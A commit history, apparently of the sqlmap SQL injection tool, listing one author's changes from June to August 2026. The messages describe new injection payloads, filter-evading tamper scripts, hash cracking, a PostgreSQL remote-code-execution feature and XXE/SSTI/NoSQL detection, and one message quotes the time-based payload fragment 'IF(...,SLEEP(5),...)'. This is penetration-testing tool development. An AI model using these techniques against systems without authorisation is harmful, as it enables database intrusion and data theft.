Compare commits

...
1609 Commits
Author SHA1 Message Date
Miroslav Štampar cb8298d55a Couple of trivial bug fixes 2026-08-04 17:02:57 +02:00
Miroslav Štampar 579e559c71 Adding one more data correctness patch 2026-07-30 19:06:40 +02:00
Miroslav Štampar 5be154b9e2 Fixes diplaying of non-ASCII chars on Windows OS 2026-07-30 18:04:49 +02:00
Miroslav Štampar 112356ac5c Minor patch 2026-07-30 16:29:32 +02:00
Miroslav Štampar 15a39b6ee9 Minor style update 2026-07-29 18:05:59 +02:00
Miroslav Štampar 3186a4fa31 Fixing CI/CD errors 2026-07-29 17:40:02 +02:00
Miroslav Štampar 311bf7ce4d Adding support for DNS OOB for H2 and ClickHouse 2026-07-29 16:52:34 +02:00
Miroslav Štampar 1f42f52980 Trivial just in case update 2026-07-29 16:00:04 +02:00
Miroslav Štampar ac313f009e Minor patch 2026-07-29 14:30:50 +02:00
Miroslav Štampar 5fb4b47378 Adding voting mechanism in heavy-jitter environment 2026-07-29 13:03:19 +02:00
Miroslav Štampar e81a99c4f3 Renaming --murphy-rate to --jitter 2026-07-29 09:05:44 +02:00
Miroslav Štampar 3a680be4eb Minor patches 2026-07-29 08:20:08 +02:00
Miroslav Štampar 39d22d26c3 Making boolean inference some more robust against jitter 2026-07-29 02:13:39 +02:00
Miroslav Štampar 306738539e Making boolean inference more robust against jitter 2026-07-29 01:08:47 +02:00
Miroslav Štampar 023d85fba8 Minor update 2026-07-29 00:14:38 +02:00
Miroslav Štampar 2afa92451a Adding new unit test 2026-07-28 23:58:07 +02:00
Miroslav Štampar 0630556826 Stripping time outliers from the time stats 2026-07-28 23:57:47 +02:00
Miroslav Štampar 2bf5bd1aa4 Minor improvement of test cases 2026-07-28 22:42:55 +02:00
Miroslav Štampar e75d75dbe6 Adding a minor comment 2026-07-28 21:58:51 +02:00
Miroslav Štampar aa42dc041d Fixing if2case tamper corrupting arguments that contain a function call (e.g. IF(...,SLEEP(5),...)) 2026-07-28 21:29:28 +02:00
Miroslav Štampar 0a6dbd260f Fixing --openapi-only config file rejection and HAR export header-name casing 2026-07-28 21:27:58 +02:00
Miroslav Štampar 1c869b7430 Fixing core helpers (decodeStringEscape round-trip, joinValue on Python 3, parseUnionPage case-sensitive de-duplication) 2026-07-28 21:27:54 +02:00
Miroslav Štampar f21a6ab88d Fixing blind enumeration (MS Access listing only first table; MySQL --privileges user labeling) 2026-07-28 21:27:49 +02:00
Miroslav Štampar 1b09b028ba Fixing tamper unicode/overlong encoding for characters beyond BMP/U+07FF 2026-07-28 21:27:38 +02:00
Miroslav Štampar 90fe32f386 Some more fixing of CI/CD errors 2026-07-28 18:43:18 +02:00
Miroslav Štampar d7d06c088d Some more fixing of CI/CD errors 2026-07-28 18:27:23 +02:00
Miroslav Štampar b0afe6b8d4 Fixing CI/CD errors 2026-07-28 18:17:19 +02:00
Miroslav Štampar 1dcca2c862 Implementing automatic auto-recover on charset mismatch (E/U) 2026-07-28 18:01:27 +02:00
Miroslav Štampar ffffe2d0b2 Fixing multi-column blind --search 2026-07-28 16:57:55 +02:00
Miroslav Štampar 356984929f Fixing --common-columns for -T A,B 2026-07-28 16:42:37 +02:00
Miroslav Štampar e8a2fc50e0 Fixing limitCondition double-LIMIT 2026-07-28 16:24:41 +02:00
Miroslav Štampar f992e44fb5 Minor bug fix for --openapi 2026-07-28 14:39:44 +02:00
Miroslav Štampar 84f0ef8232 Minor corrected patch for MsSQL hash cracking 2026-07-28 13:18:07 +02:00
Miroslav Štampar 0079412fd2 Massive speed improvement of luanginxmore tamper script 2026-07-28 12:39:07 +02:00
Miroslav Štampar 154adb1d4d Fixing keyset dump for some cases 2026-07-28 12:19:42 +02:00
Miroslav Štampar 18e06c6381 Fixing MsSQL FOR JSON handling of NULL values 2026-07-28 11:57:14 +02:00
Miroslav Štampar 0ab84074f7 Reducing number of requests for --hex in --technique=E 2026-07-28 11:43:24 +02:00
Miroslav Štampar cd911acb24 Fixing --hex in boolean-based blind 2026-07-28 11:12:51 +02:00
Miroslav Štampar 5dd91ba8ca Minor patch 2026-07-28 00:48:54 +02:00
Miroslav Štampar 9fdb704af7 Minor bug fix 2026-07-27 17:32:26 +02:00
Miroslav Štampar bb9e5dbf44 Fixing bug with --lengths and --null-connection combined 2026-07-27 17:22:17 +02:00
Miroslav Štampar f43dba3d34 Fixing retrieval of exotic coltypes on MySQL 2026-07-27 14:43:42 +02:00
Miroslav Štampar fbc3704bf2 Fixing multi-byte corruption 2026-07-27 14:25:54 +02:00
Miroslav Štampar 762650db07 Fixing --dump for Derby 2026-07-27 14:03:19 +02:00
Miroslav Štampar 534f873660 Minor update 2026-07-27 13:49:41 +02:00
Miroslav Štampar 2aeb275ec9 Some more unicode retrieval patchin 2026-07-27 13:34:25 +02:00
Miroslav Štampar d3cfad6a8d Fixing DB2 boolean-based blind retrieval of non-ASCII chars 2026-07-27 12:52:08 +02:00
Miroslav Štampar 1d263f22c3 Adding --hex for ClickHouse 2026-07-27 12:05:49 +02:00
Miroslav Štampar 8b70a392a1 Minor bug fix for bug UTF codepoints retrieval in MsSQL 2026-07-27 11:49:41 +02:00
Miroslav Štampar ec58f57fa9 Expanding capabilities of MySQL to correctly retrieve UTF8MB4 chars 2026-07-27 11:35:14 +02:00
Miroslav Štampar 69108bcf01 Minor patch 2026-07-26 23:58:52 +02:00
Miroslav Štampar dcb2b513c0 Hardening MySQL time-based payloads to not work on Cubrid 2026-07-26 23:18:31 +02:00
Miroslav Štampar 13e956ca64 Adding Cubrid time-based payloads 2026-07-26 22:47:22 +02:00
Miroslav Štampar ca608da2f1 Adding Virtuoso error-based payloads 2026-07-26 21:45:07 +02:00
Miroslav Štampar c75df91eb7 Adding CUBRID error-based payloads 2026-07-26 21:32:26 +02:00
Miroslav Štampar a1ed35cf3b Adding error-based payloads for InterSystems Cache 2026-07-26 21:15:27 +02:00
Miroslav Štampar 2f56ad66f4 Making more DBMS specific error-based payloads for H2, Firebird and Vertica 2026-07-26 20:32:29 +02:00
Miroslav Štampar 07d8d5f731 Fixing MonetDB error-based payload 2026-07-26 18:45:11 +02:00
Miroslav Štampar 523cdd8d9e Fixing chunked error-based responses for Firebird 2026-07-26 18:03:54 +02:00
Miroslav Štampar 57dee852e4 Some more fixing CI/CD errors 2026-07-26 14:39:49 +02:00
Miroslav Štampar bf138e800a Fixing CI/CD errors 2026-07-26 14:35:35 +02:00
Miroslav Štampar d2bcb39763 Improvement of error-based vectors (e.g. SQLite error vector added) 2026-07-26 14:23:14 +02:00
Miroslav Štampar edbfca0b8e Adding switch --jwt 2026-07-25 22:40:12 +02:00
Miroslav Štampar b2f98b61ec Improved crawling 2026-07-25 19:10:58 +02:00
Miroslav Štampar 5a5aebfc6e Hardening Brotli/Zstandard decoding against hostile input 2026-07-25 09:59:53 +02:00
Miroslav Štampar a4c983ae06 Adding native Brotli (br) and Zstandard (zstd) response decoding 2026-07-25 00:42:27 +02:00
Miroslav Štampar ab881132b8 Hardening Negotiate/Kerberos authentication (#3404) 2026-07-25 00:24:52 +02:00
Miroslav Štampar 1bd1b457d7 Adding Negotiate/Kerberos authentication (#3404) 2026-07-24 22:26:43 +02:00
Miroslav Štampar 2d9e9ed959 Implementing support for 429 (rate limit) 2026-07-24 15:17:05 +02:00
Miroslav Štampar 075d009bb7 Adding switch --mine-params 2026-07-24 14:27:05 +02:00
Miroslav Štampar ffe124f3e0 Some more fixing CI/CD errors 2026-07-23 13:08:18 +02:00
Miroslav Štampar fcec8ef89e Fixing CI/CD errors 2026-07-23 12:56:24 +02:00
Miroslav Štampar f129d3ac76 Fixing CI/CD errors 2026-07-23 12:21:10 +02:00
Miroslav Štampar 36ebce6935 Tons of stabilization of non-SQLi techniques 2026-07-23 12:15:45 +02:00
Miroslav Štampar e6a5e8ff05 More style changes for Esperanto DBMS engine 2026-07-22 01:48:54 +02:00
Miroslav Štampar c294098cc1 Minor style changes for Esperanto DBMS engine 2026-07-22 01:31:11 +02:00
Miroslav Štampar 272d1447d7 Fixing CI/CD errors 2026-07-22 01:10:06 +02:00
Miroslav Štampar a5a7f7203a Tons of improvements for Esperanto engine 2026-07-22 01:06:57 +02:00
Miroslav Štampar bdf1901a43 Minor update 2026-07-21 15:00:09 +02:00
Miroslav Štampar 016c388a13 Expanding Esperanto engine with more log2 comparators 2026-07-21 14:04:30 +02:00
Miroslav Štampar e8512c8c13 Expanding Esperanto engine with SIGN 2026-07-21 13:53:45 +02:00
Miroslav Štampar 9925adf799 Adding tamper script sign 2026-07-21 13:33:53 +02:00
Miroslav Štampar 0cf4c641a1 Adding auto-between on > filtering 2026-07-21 13:16:40 +02:00
Miroslav Štampar a7c63afdd8 Fixing H2 file write 2026-07-21 12:34:18 +02:00
Miroslav Štampar 99ec51f86d Minor bug fix 2026-07-21 12:23:02 +02:00
Miroslav Štampar d381a32c94 Fixing Sybase queries 2026-07-21 11:54:57 +02:00
Miroslav Štampar 721c9d9d70 Fixing Derby queries 2026-07-21 11:44:37 +02:00
Miroslav Štampar a22f782db5 Fixing DB2 truncation 2026-07-21 11:35:40 +02:00
Miroslav Štampar 26e13122ca Fixing #6087 2026-07-21 11:34:18 +02:00
Miroslav Štampar 002828a734 Some more fixing of query workflow 2026-07-21 11:19:18 +02:00
Miroslav Štampar 6b8de6704c Some more fixing of queries 2026-07-21 10:50:13 +02:00
Miroslav Štampar 4a0308dd8d Fixing some Altibase and Sybase queries 2026-07-21 10:25:25 +02:00
Miroslav Štampar 6a4ae1fa96 Fixing some MsSQL enumeration bugs 2026-07-21 10:09:54 +02:00
Miroslav Štampar 5848fa4f1a Bug fix for MsSQL (removing it from PLUS_ONE_DBMSES) 2026-07-21 09:56:00 +02:00
Miroslav Štampar 6d9322bc74 Trivial patch 2026-07-21 09:06:10 +02:00
Miroslav Štampar e589936982 Adding some guard blocks when people fool around with their environment 2026-07-20 22:19:57 +02:00
Miroslav Štampar 37771f0d25 Minor update 2026-07-20 17:39:52 +02:00
Miroslav Štampar 2626e50190 Adding boundarycheck tool 2026-07-20 17:19:28 +02:00
Miroslav Štampar 3238415d48 Removing some junk boundaries 2026-07-20 17:02:29 +02:00
Miroslav Štampar 0f5ba41535 Adding RAISERROR MsSQL payload 2026-07-20 14:08:16 +02:00
Miroslav Štampar 67574b8047 Minor improvement of payloads 2026-07-20 13:40:19 +02:00
Miroslav Štampar 6ce5d7d7e4 Adding some more boundaries 2026-07-20 12:37:16 +02:00
Miroslav Štampar fc9b3c9b67 Fixing some more wrong ptype values in boundaries.xml 2026-07-20 12:22:04 +02:00
Miroslav Štampar b0408f1bd8 Fixing some wrong ptype values in boundaries.xml 2026-07-20 11:44:50 +02:00
Miroslav Štampar adc43552d6 Compressing common identifiers list 2026-07-20 11:11:29 +02:00
Miroslav Štampar d1eb861d72 Adding some more inference tests 2026-07-20 10:57:19 +02:00
Miroslav Štampar 09389aadeb Fixing 3-byte char inference 2026-07-20 10:46:05 +02:00
Miroslav Štampar 620f3a77a1 Fixing charunicodeencode tamper script 2026-07-20 10:16:57 +02:00
Miroslav Štampar 6234b62c6f Minor patch 2026-07-19 18:54:15 +02:00
Miroslav Štampar 2e28b70975 Minor patch 2026-07-19 18:43:16 +02:00
Miroslav Štampar d2a9db2aba Minor patch 2026-07-19 18:27:04 +02:00
Miroslav Štampar 69c8a94be4 Adding support for domain cookies 2026-07-19 17:55:45 +02:00
Miroslav Štampar 47e98a02d0 Minor patch 2026-07-19 17:39:30 +02:00
Miroslav Štampar c64870301f Adding some more entries into common tables 2026-07-19 17:23:37 +02:00
Miroslav Štampar f88ecc007d Adding some more entries into common columns 2026-07-19 17:17:58 +02:00
Miroslav Štampar 1db09d5a98 Improved --gui 2026-07-19 16:31:08 +02:00
Miroslav Štampar 7b64ae7303 Minor patch 2026-07-19 15:28:10 +02:00
Miroslav Štampar f56ab884c7 Fixes CI/CD errors 2026-07-19 15:10:09 +02:00
Miroslav Štampar 8614059876 Adding some more entries into common files list 2026-07-19 15:06:53 +02:00
Miroslav Štampar 3764ec63e1 Adding some more tests 2026-07-19 15:06:25 +02:00
Miroslav Štampar 267c20048d Minor patch 2026-07-19 14:46:23 +02:00
Miroslav Štampar 8c86dc68a7 Minor patch 2026-07-19 14:26:24 +02:00
Miroslav Štampar c78cd5c43e Fixes potential collisions in list/tuple with cachedmethod 2026-07-19 13:54:19 +02:00
Miroslav Štampar 932a5bd7b2 Fixes version comparison 2026-07-19 13:37:42 +02:00
Miroslav Štampar d08e992ad6 Minor patch 2026-07-19 13:17:07 +02:00
Miroslav Štampar dcecf55780 Minor patch 2026-07-19 13:02:34 +02:00
Miroslav Štampar 20537c52c5 Minor patch 2026-07-19 12:44:38 +02:00
Miroslav Štampar fabe4ce04d Minor fix 2026-07-19 12:22:23 +02:00
Miroslav Štampar e288df23db Minor fix 2026-07-19 12:12:26 +02:00
Miroslav Štampar 00cccf78e5 Minor fix 2026-07-19 11:54:53 +02:00
Miroslav Štampar 109ce217ec Bug fix for dump format SQLITE 2026-07-19 11:32:39 +02:00
Miroslav Štampar 384ee1a91a Minor patch 2026-07-19 11:15:32 +02:00
Miroslav Štampar 54bb3ea136 Minor fix 2026-07-18 13:40:33 +02:00
Miroslav Štampar 5b322542f0 Minor update 2026-07-18 00:20:02 +02:00
Miroslav Štampar 80aaa79ea1 Removing some leftover 2026-07-18 00:05:39 +02:00
Miroslav Štampar 697e591c2a Removing some leftovers 2026-07-18 00:04:24 +02:00
Miroslav Štampar afc49107b5 Minor patch 2026-07-17 23:48:04 +02:00
Miroslav Štampar ab6ce22593 Add experimental gRPC-Web (text) support 2026-07-17 23:38:34 +02:00
Miroslav Štampar 76b75e95f0 Improving dialect checks 2026-07-17 14:46:52 +02:00
Miroslav Štampar b38eb79ed0 Implementing support for Struts2 into --ssti 2026-07-17 09:56:32 +02:00
Miroslav Štampar 9db49d5e34 Fixing CI/CD errors 2026-07-16 19:10:42 +02:00
Miroslav Štampar 0c6f57d9ec Fixing CI/CD errors 2026-07-16 18:52:55 +02:00
Miroslav Štampar 43c6574056 Fixing CI/CD errors 2026-07-16 18:33:39 +02:00
Miroslav Štampar 57f8485279 Adding Esperanto DBMS agnostic engine 2026-07-16 18:13:32 +02:00
Miroslav Štampar c496cf99e6 Adding check for repackaging prick 2026-07-16 18:12:29 +02:00
Miroslav Štampar da07c8756d Minor improvement for slow hash cracking algos 2026-07-13 09:03:03 +02:00
Miroslav Štampar 71afbf0711 Fixes #6083 2026-07-13 03:20:07 +02:00
Miroslav Štampar 7ee21bbaf9 Fixes CI/CD errors 2026-07-13 03:19:34 +02:00
Miroslav Štampar 0338c13063 Minor update for SQLlinter 2026-07-12 20:27:37 +02:00
Miroslav Štampar 5f99b283c2 Minor fixes 2026-07-12 20:07:32 +02:00
Miroslav Štampar 1c894ab116 DB2 views fix 2026-07-12 19:47:54 +02:00
Miroslav Štampar af385c37c0 Minor fine tuning 2026-07-12 19:32:25 +02:00
Miroslav Štampar dab476da8a Implementing PostgreSQL PL-extension RCE 2026-07-12 18:38:09 +02:00
Miroslav Štampar 38ab43f29e Improvement for H2 and Oracle 2026-07-12 18:22:15 +02:00
Miroslav Štampar 94e21844d7 Minor update 2026-07-12 17:24:35 +02:00
Miroslav Štampar b1ff8a31d8 Fixes CI/CD 2026-07-12 17:11:14 +02:00
Miroslav Štampar 9331ac0f2c Adding support for DuckDB 2026-07-12 16:59:41 +02:00
Miroslav Štampar 16cd9425ae Introducing detection switch --lengths 2026-07-12 14:42:34 +02:00
Miroslav Štampar d69ae91325 Minor patch 2026-07-12 13:42:42 +02:00
Miroslav Štampar 59933891e0 Adding CUBRID to dbwire 2026-07-12 13:37:04 +02:00
Miroslav Štampar dad2f02f28 Minor update 2026-07-12 13:11:40 +02:00
Miroslav Štampar 05005dde58 Minor update of dbwire 2026-07-12 12:55:58 +02:00
Miroslav Štampar 9d08b1dc03 Some more bug fixes for dbwire 2026-07-12 12:01:51 +02:00
Miroslav Štampar a61e35980a Bug fixes for dbwire 2026-07-12 11:36:35 +02:00
Miroslav Štampar 2acc8a5540 Patches for dbwire 2026-07-12 10:59:49 +02:00
Miroslav Štampar 921870ccf0 Adding embedded dbwire library 2026-07-12 10:32:57 +02:00
Miroslav Štampar d5ff557a13 Some more patches for -d 2026-07-11 16:13:12 +02:00
Miroslav Štampar e23a91f6db Some more patches for -d 2026-07-11 15:51:04 +02:00
Miroslav Štampar 3378f8df34 Minor patches for -d 2026-07-11 15:35:34 +02:00
Miroslav Štampar ab59a4b72a Minor patches 2026-07-11 15:18:42 +02:00
Miroslav Štampar 97c8b45ccc Minor patches 2026-07-11 14:52:55 +02:00
Miroslav Štampar d9a4a0992f Minor patch 2026-07-11 14:11:13 +02:00
Miroslav Štampar fb9cec1e97 Auto recognize binary fields in blind cases 2026-07-11 13:41:03 +02:00
Miroslav Štampar 8bc0f4794c Fixes #5933 2026-07-11 12:54:33 +02:00
Miroslav Štampar 567e051215 Minor patching for binary fields and casting 2026-07-11 11:30:06 +02:00
Miroslav Štampar 40ccd801dc Fixing desync error from SLOW_ORDER_COUNT_THRESHOLD 2026-07-11 09:09:08 +02:00
Miroslav Štampar 1cdc69eb0e Minor update 2026-07-10 19:04:22 +02:00
Miroslav Štampar 354977bb5d Minor bug fix - LEN counts lengths for trimmed strings 2026-07-10 17:20:10 +02:00
Miroslav Štampar 52c742458b Adding support for Oracle 12C password hashes 2026-07-10 16:23:19 +02:00
Miroslav Štampar 827ec0a06c Minor update for Oracle support 2026-07-10 15:07:16 +02:00
Miroslav Štampar b8fb645db0 Minor patches 2026-07-10 13:27:47 +02:00
Miroslav Štampar f4c4025bdb Minor patch 2026-07-10 12:51:25 +02:00
Miroslav Štampar 986933e709 Minor patches 2026-07-10 12:04:08 +02:00
Miroslav Štampar 2fec735b13 Minor patches 2026-07-10 11:36:40 +02:00
Miroslav Štampar d0f16b284d Adding support for --hql 2026-07-10 10:38:20 +02:00
Miroslav Štampar 346c9d9f03 Minor patch 2026-07-10 07:58:07 +02:00
Miroslav Štampar df6c50add2 Minor patch 2026-07-09 23:37:40 +02:00
Miroslav Štampar 6ece3c61bf Minor update related to SAP HANA 2026-07-09 22:52:53 +02:00
Miroslav Štampar 2a9da9d9e5 Fixing CI/CD errors 2026-07-09 17:32:05 +02:00
Miroslav Štampar 2aafdc0e46 Update of THANKS.md 2026-07-09 17:19:10 +02:00
Miroslav Štampar 3784f8bafd Expand SAP HANA: role-aware is_dba, heavy-query time-based, error signatures 2026-07-09 17:06:00 +02:00
Miroslav Štampar 1465d55a47 Merge branch 'master' into hana-pr
# Conflicts:
#	data/txt/sha256sums.txt
#	lib/core/common.py
#	lib/core/settings.py
2026-07-09 16:48:30 +02:00
Miroslav Štampar 622cfa76c6 Adding --openapi-tags 2026-07-09 14:13:21 +02:00
Miroslav Štampar fc1ae6950e Adding native websocket support 2026-07-09 13:56:40 +02:00
Miroslav Štampar 4c12dda2f7 Fixing --eta 2026-07-09 13:25:50 +02:00
Miroslav Štampar 767feba3a7 Embedding the NTLM auth support (without the deprecated 3rd party lib) 2026-07-09 10:38:19 +02:00
Miroslav Štampar 8837dd2435 Minor patch 2026-07-09 10:12:43 +02:00
Miroslav Štampar 478888b19e Minor patch 2026-07-09 09:57:08 +02:00
Miroslav Štampar c1363dd44c Minor refactoring 2026-07-09 09:56:51 +02:00
Miroslav Štampar c1516f1750 Fixes #6080 2026-07-09 09:02:25 +02:00
Miroslav Štampar 5893f069ae Enabling jsonAgg in partial union cases 2026-07-09 08:15:35 +02:00
Miroslav Štampar d8cc2ae93b Minor update 2026-07-08 19:26:36 +02:00
Miroslav Štampar 8dda2b42a5 Minor patch 2026-07-08 19:09:10 +02:00
Miroslav Štampar dd4f40ad5e Adding max reponse size for HTTP2 2026-07-08 18:51:29 +02:00
Miroslav Štampar 165bf837c9 Minor update 2026-07-08 18:00:42 +02:00
Miroslav Štampar 8db71f4d67 Fixes CI/CD error 2026-07-08 17:55:54 +02:00
Miroslav Štampar fd009027f7 Adding --payload-lint to CI/CD 2026-07-08 17:51:37 +02:00
Miroslav Štampar 0033934426 Minor optimization 2026-07-08 12:43:10 +02:00
Miroslav Štampar 291abb0ee8 Minor update 2026-07-08 12:32:05 +02:00
Miroslav Štampar 4b3a36ca51 Fixes CI/CD error 2026-07-08 12:17:01 +02:00
Miroslav Štampar 4504edaeb1 Switching from pickle to json for serialization 2026-07-08 12:13:49 +02:00
Miroslav Štampar e2c55c1ddc Minor patch 2026-07-08 11:14:34 +02:00
Miroslav Štampar 89ddc5a592 Minor patch 2026-07-08 02:09:35 +02:00
Miroslav Štampar f65dc92b1e Adding SQLlint for checking the sanity of queries 2026-07-08 02:00:04 +02:00
Miroslav Štampar f46c463eba Adding support for --timeless HTTP2 technique 2026-07-08 01:58:36 +02:00
Miroslav Štampar b2a5283e9b Adding some missing SQL keywords 2026-07-07 22:41:14 +02:00
Miroslav Štampar 05f81ab191 Fixing the CI/CD failure 2026-07-06 19:04:33 +02:00
Miroslav Štampar 788c9fa134 Minor patch 2026-07-06 18:54:26 +02:00
Miroslav Štampar 8f6a37275c Some refactoring 2026-07-06 13:34:46 +02:00
Miroslav Štampar 50ff3debe5 General boolean inference improvements 2026-07-06 12:02:22 +02:00
Miroslav Štampar 6597415ab0 Minor update 2026-07-04 21:45:42 +02:00
Miroslav Štampar 3bab3cd795 Minor update 2026-07-04 13:35:00 +02:00
Miroslav Štampar 3b3a822e32 Minor update 2026-07-04 13:00:19 +02:00
Miroslav Štampar 7fd6bb3b7d Minor update 2026-07-04 12:38:59 +02:00
Miroslav Štampar 103a0e6b0f More refactoring for --xxe 2026-07-04 11:12:21 +02:00
Miroslav Štampar 3cf29a543a Refactoring for --xxe 2026-07-04 10:36:10 +02:00
Miroslav Štampar 5fa2da5eae Adding support for --xxe 2026-07-04 09:53:04 +02:00
Miroslav Štampar 16c8909a0c Minor patch 2026-07-03 16:57:46 +02:00
Miroslav Štampar 2b9fd6cf82 Minor update of the references 2026-07-03 10:10:29 +02:00
Miroslav Štampar d60e95ede7 Some more stabilization of unittests 2026-07-02 22:52:02 +02:00
Miroslav Štampar 71d9c6d0f4 Stabilization of unittests 2026-07-02 22:31:01 +02:00
Miroslav Štampar 732d164538 Fixing CI/CD errors 2026-07-02 22:02:57 +02:00
Miroslav Štampar 2719ce6c59 Minor patch 2026-07-02 21:57:17 +02:00
Miroslav Štampar fe69e6bfcc Adding support for --openapi 2026-07-02 21:12:46 +02:00
Miroslav Štampar d6299fc4f5 Adding more supported hash algorithms 2026-07-02 16:29:40 +02:00
Miroslav Štampar a7c9b721fd Adding support for HTTP2 connection reusage 2026-07-02 13:39:47 +02:00
Miroslav Štampar 47b8b6ed07 Minor update 2026-07-02 10:18:58 +02:00
Miroslav Štampar d2ead9dcda Adding support for import sqlmap as a library (#2083) 2026-07-02 09:58:48 +02:00
Miroslav Štampar e1126a2a4e Improving --predict-output 2026-07-02 01:12:06 +02:00
Miroslav Štampar a3bff54cc5 Fixes #1545 2026-07-02 00:19:31 +02:00
Miroslav Štampar c2209d9326 Patch related to #5357 2026-07-01 23:16:05 +02:00
Miroslav Štampar 1716ad1524 Minor improvement of UNION detection 2026-07-01 22:31:37 +02:00
Miroslav Štampar bd10f84a9b Minor patch 2026-07-01 18:34:03 +02:00
Miroslav Štampar 6514597dbb Minor renaming of options 2026-07-01 17:34:31 +02:00
Miroslav Štampar 40a31c155c Removing thirdparty OrderedDict 2026-07-01 15:26:59 +02:00
Miroslav Štampar 62a7bf3b03 Adding tests for http2 functionality 2026-07-01 15:19:30 +02:00
Miroslav Štampar 3e7d064cc9 Adding some more tests 2026-07-01 14:59:34 +02:00
Miroslav Štampar 39ba1bc00e Adding custom/own support for HTTP2 2026-07-01 12:21:11 +02:00
Miroslav Štampar 8a75c0bb62 Minor patch 2026-07-01 11:06:39 +02:00
Miroslav Štampar 6e459d66f2 Couple of optimizations 2026-07-01 10:34:53 +02:00
Miroslav Štampar 154c7e333e Minor optimization 2026-07-01 10:14:11 +02:00
Miroslav Štampar d6b491dec4 Minor safety mechanism for HEAD null connection 2026-07-01 00:00:47 +02:00
Miroslav Štampar 92a9446c46 Minor optimization 2026-06-30 23:50:45 +02:00
Miroslav Štampar 74f90df8ae Implementing extractStructuralTokens as a helper to detection engine 2026-06-30 23:09:06 +02:00
Miroslav Štampar f932a3f30f Minor refactoring 2026-06-30 20:45:46 +02:00
Miroslav Štampar e0269acc0d Minor update 2026-06-30 14:59:32 +02:00
Miroslav Štampar 87eb93db15 Minor update 2026-06-30 12:18:06 +02:00
Miroslav Štampar a78885d2e3 Minor patching 2026-06-30 00:31:26 +02:00
Miroslav Štampar 87ba03815b Fixing CI/CD pipeline 2026-06-29 23:38:34 +02:00
Miroslav Štampar fd7eaf107b Minor fix 2026-06-29 23:36:02 +02:00
Miroslav Štampar 7774c73291 Minor fix 2026-06-29 22:29:12 +02:00
Miroslav Štampar 7b60bc8284 Minor improvements 2026-06-29 22:20:22 +02:00
Miroslav Štampar 820efa7a8a Adding switch --ssti 2026-06-29 11:43:10 +02:00
Miroslav Štampar 8ff5d3811a Adding switch --xpath 2026-06-29 00:29:27 +02:00
Miroslav Štampar 4c869817d4 Fixing CI/CD pipeline 2026-06-28 19:03:21 +02:00
Miroslav Štampar 2297c81309 Update of tests 2026-06-28 18:27:59 +02:00
Miroslav Štampar cb20a446ae Update of unit tests 2026-06-28 14:28:42 +02:00
Miroslav Štampar b933ff3f63 Polishing CI/CD pipeline 2026-06-28 10:52:29 +02:00
Miroslav Štampar 8676166acd Polishing CI/CD pipeline 2026-06-28 10:48:53 +02:00
Miroslav Štampar 6bbcd4a28a Fixing CI/CD failure 2026-06-28 10:42:39 +02:00
Miroslav Štampar 70efdfdc6b Checking if pyflakes really works in CI/CD 2026-06-28 10:41:45 +02:00
Miroslav Štampar 24e26d102a Debugging CI/CD failure 2026-06-28 10:40:05 +02:00
Miroslav Štampar ca755467de Debugging CI/CD failure 2026-06-28 10:34:54 +02:00
Miroslav Štampar 60403f80df Debugging CI/CD failure 2026-06-28 10:33:31 +02:00
Miroslav Štampar 1feb6f73b9 Minor update 2026-06-28 10:30:35 +02:00
Miroslav Štampar d6a754e8b2 Minor update 2026-06-28 10:28:18 +02:00
Miroslav Štampar 3809161b0e Minor update 2026-06-28 10:26:34 +02:00
Miroslav Štampar 02ae09e154 Minor update 2026-06-28 10:24:46 +02:00
Miroslav Štampar 149bdd836b Fixing CI/CD failure 2026-06-28 10:18:56 +02:00
Miroslav Štampar 692c4bc42f Fixing CI/CD failure 2026-06-28 10:14:06 +02:00
Miroslav Štampar c7a9185bcf Adding pyflakes into CI/CD pipeline 2026-06-28 10:12:51 +02:00
Miroslav Štampar 9daeab2d5a Removing last pyflakes nagging cause 2026-06-28 10:06:44 +02:00
Miroslav Štampar 333e3e48e5 Fixing some pyflakes naggings 2026-06-28 10:02:50 +02:00
Miroslav Štampar 69ba213db9 Minor refactoring 2026-06-28 09:53:05 +02:00
Miroslav Štampar cbf5dbd29e Minor refactoring 2026-06-28 09:49:16 +02:00
Miroslav Štampar 771d4cfb66 Fixing CI/CD failure 2026-06-28 09:36:32 +02:00
Miroslav Štampar 7e610b8716 Removing some unused imports 2026-06-28 02:09:50 +02:00
Miroslav Štampar c51b4c072f Minor patches 2026-06-28 01:59:58 +02:00
Miroslav Štampar e8162d314a Adding switch --ldap 2026-06-28 01:36:38 +02:00
Miroslav Štampar 7a95103122 Fixing CI/CD issue 2026-06-27 19:43:29 +02:00
Miroslav Štampar e47b976f5a Fixing CI/CD issue 2026-06-27 19:34:20 +02:00
Miroslav Štampar f6912fc921 Adding support for GraphQL (--graphql) 2026-06-27 19:23:30 +02:00
Miroslav Štampar 2893fd5c4d Adding support for NoSQL injection 2026-06-24 22:57:09 +02:00
Miroslav Štampar 0a331f2f89 Minor update 2026-06-24 11:11:03 +02:00
Miroslav Štampar 0430f780ab Improving --gui and --tui 2026-06-24 10:57:52 +02:00
Miroslav Štampar cef105f322 Minor bug fixes 2026-06-24 01:59:02 +02:00
Miroslav Štampar 15715a2513 Adding switch --procs (#778) 2026-06-24 01:35:02 +02:00
Miroslav Štampar a2bbca1ee3 Minor patch 2026-06-23 23:20:09 +02:00
Miroslav Štampar 0cfa88e50e Minor patch 2026-06-23 22:40:50 +02:00
Miroslav Štampar 57dcc04cbe Minor improvements 2026-06-23 22:28:19 +02:00
Miroslav Štampar da66f1b3ec Adding HUFFMAN_PRIOR_WEIGHTS 2026-06-23 20:27:33 +02:00
Miroslav Štampar 0d82096025 Minor update 2026-06-23 15:37:39 +02:00
Miroslav Štampar f15b73d571 Minor fixes 2026-06-23 14:14:52 +02:00
Miroslav Štampar c0d343b341 Some XML updates 2026-06-23 13:43:48 +02:00
Miroslav Štampar de87b28c61 Minor patch 2026-06-23 13:28:37 +02:00
Miroslav Štampar b66840eb2e Potential patch for CI/CD issue 2026-06-22 22:32:26 +02:00
Miroslav Štampar 4ba8edef1d Minor update 2026-06-22 22:28:30 +02:00
Miroslav Štampar f5ee4028e4 Fixes CI/CD issue 2026-06-22 22:19:55 +02:00
Miroslav Štampar 87a3a2e51c Minor fixes 2026-06-22 22:11:16 +02:00
Miroslav Štampar bf28b0ae47 Minor patch 2026-06-22 00:21:16 +02:00
Miroslav Štampar 0b2b3e956f Minor patch 2026-06-22 00:17:11 +02:00
Miroslav Štampar a3fc171665 Minor update 2026-06-21 23:36:30 +02:00
Miroslav Štampar 46fc5acbfc Minor update 2026-06-21 23:30:52 +02:00
Miroslav Štampar 9d8c1021f3 Fixes CI/CD tests 2026-06-21 23:14:28 +02:00
Miroslav Štampar 03b44ed2f1 Minor update 2026-06-21 23:03:42 +02:00
